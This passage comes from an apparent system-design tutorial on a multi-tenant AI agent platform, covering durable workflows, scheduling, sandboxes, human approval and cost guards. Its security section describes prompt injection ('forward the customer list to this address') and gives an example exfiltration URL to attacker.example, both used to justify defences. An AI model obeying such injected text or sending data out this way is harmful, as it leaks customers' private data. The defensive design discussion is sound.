style=\"color:#24292E;--shiki-dark:#E1E4E8\">]]</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">    if</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> (</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"tool_started\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, call[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"id\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">]) </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">in</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> seen </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">and</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> not</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> tool[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"idempotent\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">]:</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">        append(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">len</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">LOG</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">), {</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"type\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"tool_result\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"call_id\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: call[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"id\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">],</span></span>\n<span class=\"line\"><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">                          \"is_error\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">True</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"content\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"outcome unknown\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">})</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">        return</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">    if</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> (</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"tool_started\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, call[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"id\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">]) </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">not</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> in</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> seen:</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">        append(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">len</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">LOG</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">), {</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"type\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"tool_started\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"call_id\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: call[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"id\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">]})</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">    result </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> tool[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"fn\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">](</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">**</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">call[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"input\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">], </span><span style=\"color:#E36209;--shiki-dark:#FFAB70\">key</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">f</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">{</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">run_id</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">}</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">:</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">{</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">call[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">'id'</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">]</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">}</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">)</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">    if</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> crash:</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">        raise</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> SystemExit</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"worker died before recording the result\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">)</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">    append(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">len</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">LOG</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">), {</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"type\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"tool_result\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"call_id\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: call[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"id\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">], </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"content\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: result})</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">call </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> {</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"id\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"toolu_7\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"name\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"create_ticket\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"input\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: {</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"title\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"Refund A-1042\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">}}</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">append(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">0</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, {</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"type\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"model_reply\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"tool_calls\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: [call]})</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">try</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">:</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">    run_tool(</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"run_42\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, call, </span><span style=\"color:#E36209;--shiki-dark:#FFAB70\">crash</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">True</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">)</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">except</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> SystemExit</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> as</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> e:</span></span>\n<span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">    print</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(e)                            </span><span style=\"color:#6A737D;--shiki-dark:#6A737D\"># worker died before recording the result</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">run_tool(</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"run_42\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, call)                </span><span style=\"color:#6A737D;--shiki-dark:#6A737D\"># the next worker</span></span>\n<span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">print</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">len</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">LOG</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">), </span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">TICKETS</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">)                </span><span style=\"color:#6A737D;--shiki-dark:#6A737D\"># 3 {'run_42:toolu_7': 'T-1'}</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">try</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">:</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">    append(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">2</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, {</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"type\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"tool_result\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">})  </span><span style=\"color:#6A737D;--shiki-dark:#6A737D\"># the first worker wakes up late</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">except</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> RuntimeError</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> as</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> e:</span></span>\n<span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">    print</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(e)                            </span><span style=\"color:#6A737D;--shiki-dark:#6A737D\"># conflict: log at 3, writer expected 2</span></span></code></pre>\n<p>The next worker resends with the same key and gets T-1 back, so one ticket exists, and the late write is refused. A run that did part of a multi-step change needs compensating steps, as in <a href=\"/learn/distributed-transactions#sagas\">sagas</a>, which the platform can offer as undo tools.</p>\n<p><strong>Build or use an engine.</strong> Durable-execution engines provide this log, leases, timers and replay. In Temporal, a run would be a workflow, each model and tool call an <strong>activity</strong> (a unit of work whose result the engine records), and an approval a signal. Temporal replays workflow code against recorded history, reusing activity results, so that code must be deterministic (<a href=\"/learn/ai-agents#checkpoints-and-durable-execution\">checkpoints and durable execution</a>). Temporal limits history size, so large outputs go to object storage by reference, and it cannot see inside an activity, so the keys are still needed.</p>","headings":[{"id":"the-run-loop-as-a-durable-workflow","title":"The run loop as a durable workflow","depth":3},{"id":"tool-calls-and-idempotency","title":"Tool calls and idempotency","depth":4}]},{"id":"scheduling-and-fairness","title":"Scheduling and fairness","html":"<h3 id=\"scheduling-and-fairness\">Scheduling and fairness</h3>\n<p>One tenant schedules 50,000 triage runs for 09:00. In arrival order, every other tenant would wait behind them.</p>\n<p><strong>Admission.</strong> Each tenant has a cap on active runs, say 500 on the standard plan, and runs above it wait in the tenant's own queue. The batch takes 50,000 × 90 ÷ 500 = 9,000 seconds, <strong>2.5 hours</strong>. Schedules accept a start window, such as \"within 15 minutes of 09:00\", which the scheduler spreads starts across.</p>\n<p><strong>Step dispatch.</strong> Admitted runs compete for workers and provider quota one step at a time, through a weighted fair queue across tenants like the inference platform's <a href=\"/learn/design-inference-platform#priority-and-fairness\">fair queuing</a>. Steps of runs in progress go first, since finishing frees sandboxes and uses warm caches, then new interactive runs, then scheduled ones.</p>\n<p><strong>Provider backpressure.</strong> When the gateway reports 429 rate-limit errors for a model, the scheduler halves that model's dispatch rate, then raises it by a fixed amount each second while calls succeed (additive increase, multiplicative decrease, or AIMD). That wait does not count against the run's wall-clock limit. If queues keep growing, new scheduled runs are refused first (<a href=\"/learn/queues-and-async#back-pressure-when-the-queue-keeps-growing\">back pressure</a>).</p>","headings":[{"id":"scheduling-and-fairness","title":"Scheduling and fairness","depth":3}]},{"id":"context-management","title":"Context management","html":"<h3 id=\"context-management\">Context management</h3>\n<p>The cost table assumed short tool results and a cached prefix. Both take design work.</p>\n<p><strong>Truncate tool results.</strong> A fetched page is often 12,000 tokens. If research steps added 12,500 tokens, the context would reach 8,000 + 16 × 12,500 = 208,000 at step 17, past a 200,000-token window. So fetch returns at most 2,000 tokens (the title, the best-matching passage and a handle), stores the page, and a <code>read_more(handle, offset)</code> tool pages through it. The sandbox returns the last 100 lines of output and a file path.</p>\n<p><strong>Keep the prefix stable.</strong> A cache hit needs the earlier prompt byte for byte, so each prompt is built in a fixed order:</p>\n<ol>\n<li>A per-tenant line, so no prefix matches across tenants and nobody can detect another tenant's prompts by hit timing (<a href=\"/learn/design-inference-platform#affinity-and-isolation\">affinity and isolation</a>).</li>\n<li>The version's system prompt and tool definitions, serialized identically every time, with nothing per-run such as the date.</li>\n<li>The run's input, then the steps, only ever appended.</li>\n</ol>\n<p>With the assumed provider an entry lives five minutes after last use, so a step after a 10-minute test run finds a cold cache. For such agents the platform buys a longer TTL, at a higher write price.</p>\n<p><strong>Compact long runs.</strong> <strong>Compaction</strong> replaces older steps with a summary the model writes. Past a threshold the platform keeps the prefix, a 4,000-token summary and the last two steps, and the full history stays in the log. Each compaction costs a call with 4,000 output tokens, and the next step misses the cache after the prefix.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<div class=\"table-wrap\"><table><thead><tr><th>Run kind and policy</th><th>Largest context</th><th>Input tokens</th><th>Cached cost</th><th>Uncached cost</th></tr></thead><tbody><tr><td>Research, no compaction</td><td>80,500</td><td>1,327,500</td><td>$0.83</td><td>$4.16</td></tr><tr><td>Research, compact at 60,000</td><td>58,000</td><td>996,500</td><td>$0.82</td><td>$3.23</td></tr><tr><td>Sandbox, no compaction</td><td>128,000</td><td>4,140,000</td><td>$2.10</td><td>$12.87</td></tr><tr><td>Sandbox, compact at 60,000</td><td>60,000</td><td>2,240,000</td><td>$1.70</td><td>$7.29</td></tr></tbody></table></div>\n<p>With caching, compaction barely changes a research run's cost, because cached reads were already cheap, and sandbox runs save 19%, about $1.2 million a month. The stronger reasons are that answers degrade and latency grows with context (<a href=\"/learn/ai-agents#managing-context\">managing context</a>), and long runs stay inside the window.</p>","headings":[{"id":"context-management","title":"Context management","depth":3}]},{"id":"tool-execution-and-sandboxes","title":"Tool execution and sandboxes","html":"<h3 id=\"tool-execution-and-sandboxes\">Tool execution and sandboxes</h3>\n<figure class=\"diagram\" data-text=\"Run worker -> Tool router policy, approval (call with key); Tool router policy, approval <-> Approver (a person) (risky calls); Tool router policy, approval -> MicroVM code, browser (run code); MicroVM code, browser -> Egress proxy allowlist (all traffic); Tool router policy, approval -> Egress proxy allowlist (HTTP, MCP); Secrets vault per tenant -> Egress proxy allowlist (token per call); Egress proxy allowlist -> Customer APIs, MCP servers, web\"><div class=\"diagram-scroll\"><svg class=\"dg\" viewBox=\"0 0 800 320\" width=\"800\" role=\"img\" aria-label=\"Tool calls pass policy, then reach the world only through the proxy\"><defs><marker id=\"dg-arrow\" viewBox=\"0 0 10 10\" refX=\"9\" refY=\"5\" markerWidth=\"7\" markerHeight=\"7\" orient=\"auto-start-reverse\"><path class=\"dg-arrowhead\" d=\"M0,1 L9,5 L0,9 z\"></path></marker></defs><line class=\"dg-edge\" x1=\"151\" y1=\"162\" x2=\"167\" y2=\"162\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"240\" y1=\"131\" x2=\"240\" y2=\"73\" marker-end=\"url(#dg-arrow)\" marker-start=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"278.7\" y1=\"191\" x2=\"358.7\" y2=\"251\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"438.7\" y1=\"253\" x2=\"518.7\" y2=\"193\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"311\" y1=\"162\" x2=\"487\" y2=\"162\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"560\" y1=\"76\" x2=\"560\" y2=\"131\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"631\" y1=\"162\" x2=\"647\" y2=\"162\" marker-end=\"url(#dg-arrow)\"></line><rect class=\"dg-node dg-box\" x=\"12\" y=\"138\" width=\"136\" height=\"48\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"80\" y=\"166.5\">Run worker</tspan></text><rect class=\"dg-node dg-box\" x=\"172\" y=\"136\" width=\"136\" height=\"52\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"240\" y=\"158.5\">Tool router</tspan><tspan x=\"240\" y=\"174.5\">policy, approval</tspan></text><rect class=\"dg-node dg-client\" x=\"172\" y=\"16\" width=\"136\" height=\"52\" rx=\"26\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"240\" y=\"38.5\">Approver</tspan><tspan x=\"240\" y=\"54.5\">(a person)</tspan></text><rect class=\"dg-node dg-box\" x=\"332\" y=\"256\" width=\"136\" height=\"52\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"400\" y=\"278.5\">MicroVM</tspan><tspan x=\"400\" y=\"294.5\">code, browser</tspan></text><rect class=\"dg-node dg-box\" x=\"492\" y=\"136\" width=\"136\" height=\"52\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"560\" y=\"158.5\">Egress proxy</tspan><tspan x=\"560\" y=\"174.5\">allowlist</tspan></text><path class=\"dg-node dg-store\" d=\"M492,18 a68,7 0 0,1 136,0 v48 a68,7 0 0,1 -136,0 z\"></path><path class=\"dg-line\" d=\"M492,18 a68,7 0 0,0 136,0\"></path><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"560\" y=\"41.5\">Secrets vault</tspan><tspan x=\"560\" y=\"57.5\">per tenant</tspan></text><rect class=\"dg-node dg-client\" x=\"652\" y=\"136\" width=\"136\" height=\"52\" rx=\"26\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"720\" y=\"158.5\">Customer APIs,</tspan><tspan x=\"720\" y=\"174.5\">MCP servers, web</tspan></text><rect class=\"dg-edge-bg\" x=\"113.7\" y=\"114\" width=\"90.6\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"159\" y=\"127\" text-anchor=\"middle\">call with key</text><rect class=\"dg-edge-bg\" x=\"200.9\" y=\"93\" width=\"78.2\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"240\" y=\"106\" text-anchor=\"middle\">risky calls</text><rect class=\"dg-edge-bg\" x=\"288.9\" y=\"212\" width=\"59.6\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"318.7\" y=\"225\" text-anchor=\"middle\">run code</text><rect class=\"dg-edge-bg\" x=\"439.6\" y=\"214\" width=\"78.2\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"478.7\" y=\"227\" text-anchor=\"middle\">all traffic</text><rect class=\"dg-edge-bg\" x=\"366.1\" y=\"153\" width=\"65.8\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"399\" y=\"166\" text-anchor=\"middle\">HTTP, MCP</text><rect class=\"dg-edge-bg\" x=\"511.6\" y=\"94.5\" width=\"96.8\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"560\" y=\"107.5\" text-anchor=\"middle\">token per call</text></svg></div><figcaption>Tool calls pass policy, then reach the world only through the proxy</figcaption></figure>\n<p><strong>Isolation.</strong> Model-written code, possibly steered by an attacker, must not reach other tenants or the host. Each sandbox run gets its own <strong>microVM</strong>, a small virtual machine with its own kernel and a minimal device set. Firecracker, built by AWS for Lambda, is a common choice. Its site cites start times as low as 125 ms and under 5 MiB of overhead per microVM. <strong>gVisor</strong> is lighter: a kernel in user space that intercepts the sandbox's system calls, packing more densely with a weaker boundary than hardware virtualization. The platform uses microVMs for any customer or model code, one per run, destroyed afterwards.</p>\n<p><strong>Warm pools.</strong> A browser image also has to boot its guest and start the browser, assumed 2 to 3 seconds. The platform keeps booted, unassigned sandboxes ready. The pool covers arrivals during a refill: 3.47 starts a second times an assumed 10-second refill is about 35, and doubling for bursts gives 70 to 100. It scales with the start rate, while the 6,250 in use scale with run length.</p>\n<p><strong>Egress.</strong> A sandbox has no network by default. When a version allows it, traffic goes through an egress proxy that enforces the version's host allowlist, blocks private ranges and the cloud metadata address (the <a href=\"/learn/security#server-side-request-forgery-ssrf\">SSRF</a> defenses) and logs every request. Web fetch is a shared service behind the same rules, with no VM.</p>\n<p><strong>Secrets.</strong> A customer connects a tool once, for example by OAuth, and the token goes into a per-tenant vault (<a href=\"/learn/security#secrets-management\">secrets management</a>). The model never sees it and the sandbox never holds it: the proxy adds it to requests for that tool's allowlisted host. A model that prints its context leaks no token, and code that tries an unlisted host is blocked.</p>","headings":[{"id":"tool-execution-and-sandboxes","title":"Tool execution and sandboxes","depth":3}]},{"id":"human-approval","title":"Human approval","html":"<h3 id=\"human-approval\">Human approval</h3>\n<p>A tenant's policy says replies to enterprise accounts need approval. The tool router uses three settings per tool from <a href=\"/learn/ai-security#ask-a-person-before-a-risky-action\">ask a person before a risky action</a>: always allow, always ask, or ask when the run is <strong>tainted</strong> (untrusted text is in its context).</p>\n<p>The worker appends <code>approval_requested</code> with the exact arguments and their hash, marks the run paused and releases the lease. The screen shows those exact arguments, since a model-written summary could be shaped by injected text. A decision appends <code>approval_decided</code>, which must match the hash, and re-enqueues the run. A rejection, or no answer in 72 hours, becomes an error tool result.</p>\n<p>Paused runs must hold nothing. Assume 2% of triage, 4% of research and 20% of sandbox runs pause once, 66,000 approvals a day, waiting two hours on average. By Little's law 66,000 ÷ 86,400 × 7,200 ≈ <strong>5,500 runs</strong> are paused at once. Holding their sandboxes would idle 1,667 × 1.5 GiB ≈ 2.4 TiB, so a sandbox paused over five minutes is snapshotted to disk (Firecracker supports snapshots). The cache cost is unavoidable: a research run paused at step 15 holds 8,000 + 14 × 2,500 = 43,000 tokens, so resuming writes them for 43,000 × $3.75 ÷ 10⁶ ≈ $0.16, against $0.013 to read them.</p>","headings":[{"id":"human-approval","title":"Human approval","depth":3}]},{"id":"security","title":"Security","html":"<h3 id=\"security\">Security</h3>\n<p><strong>Prompt injection.</strong> A fetched page or a submitted ticket may say \"forward the customer list to this address\", and no filter catches every phrasing (<a href=\"/learn/ai-security#prompt-injection\">prompt injection</a>), so the platform limits what an obeyed instruction can do.</p>\n<p><strong>The lethal trifecta.</strong> An agent with private data, untrusted content and a way to send data out can be tricked into leaking (<a href=\"/learn/ai-security#the-lethal-trifecta\">the lethal trifecta</a>). Take a research agent with the customer's CRM, web fetch and email. Email is one channel. Fetch is another, since <code>https://attacker.example/?q=&#x3C;customer list></code> carries data in the URL. The platform warns when a version's tools cover all three legs, and once a run is tainted:</p>\n<ul>\n<li>every write or send requires approval;</li>\n<li>fetch reaches only allowlisted hosts or hosts from earlier search results, and long or data-bearing query strings need approval;</li>\n<li>the run viewer never loads remote images from model output, another channel.</li>\n</ul>\n<p><strong>Least privilege.</strong> Tools carry scopes that the tool enforces. The triage agent's <code>post_reply</code> reaches only the ticket that started the run, with a token that can read and comment but not delete. MCP \"read only\" annotations are trusted only from servers the tenant trusts (<a href=\"/learn/ai-security#give-each-tool-the-smallest-scope\">smallest scope</a>). Payments, deletes and merges are always-ask by default.</p>\n<p><strong>Tenant isolation.</strong> Every store query includes the tenant ID, sandboxes never serve two runs, and logs are encrypted and readable only by the tenant and audited staff (<a href=\"/learn/ai-evals-and-observability#content-and-privacy\">content and privacy</a>).</p>","headings":[{"id":"security","title":"Security","depth":3}]},{"id":"cost-controls-and-runaway-loops","title":"Cost controls and runaway loops","html":"<h3 id=\"cost-controls-and-runaway-loops\">Cost controls and runaway loops</h3>\n<p>Default run limits are 100 steps, $5, 4 hours and 3 million input tokens. The guard runs before each model call, so a call that would cross a limit is never sent, and it assumes the worst: no cache hits and a full 4,096-token reply. At 80,000 tokens that is 80,000 × $3 ÷ 10⁶ + 4,096 × $15 ÷ 10⁶ ≈ $0.30, so a run may stop up to that much short of its limit.</p>\n<p>A <strong>loop</strong> is a run repeating a step without progress, such as refetching a failing page. The guard hashes each tool call with the result that call returned last time. Three identical pairs in the last six calls add a note telling the model to change approach, and five stop the run as <code>loop_detected</code>. The result is in the hash because polling a build repeats a call until its result changes.</p>\n<pre class=\"shiki shiki-themes github-light github-dark\" style=\"background-color:#fff;--shiki-dark-bg:#24292e;color:#24292e;--shiki-dark:#e1e4e8\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">import</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> hashlib, json</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">class</span><span style=\"color:#6F42C1;--shiki-dark:#B392F0\"> RunGuard</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">:</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">    def</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> __init__</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(self, max_steps</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">100</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, max_usd</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">5.00</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, max_out</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">4096</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">):</span></span>\n<span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">        self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.max_steps, </span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.max_usd, </span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.max_out </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> max_steps, max_usd, max_out</span></span>\n<span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">        self</span><span 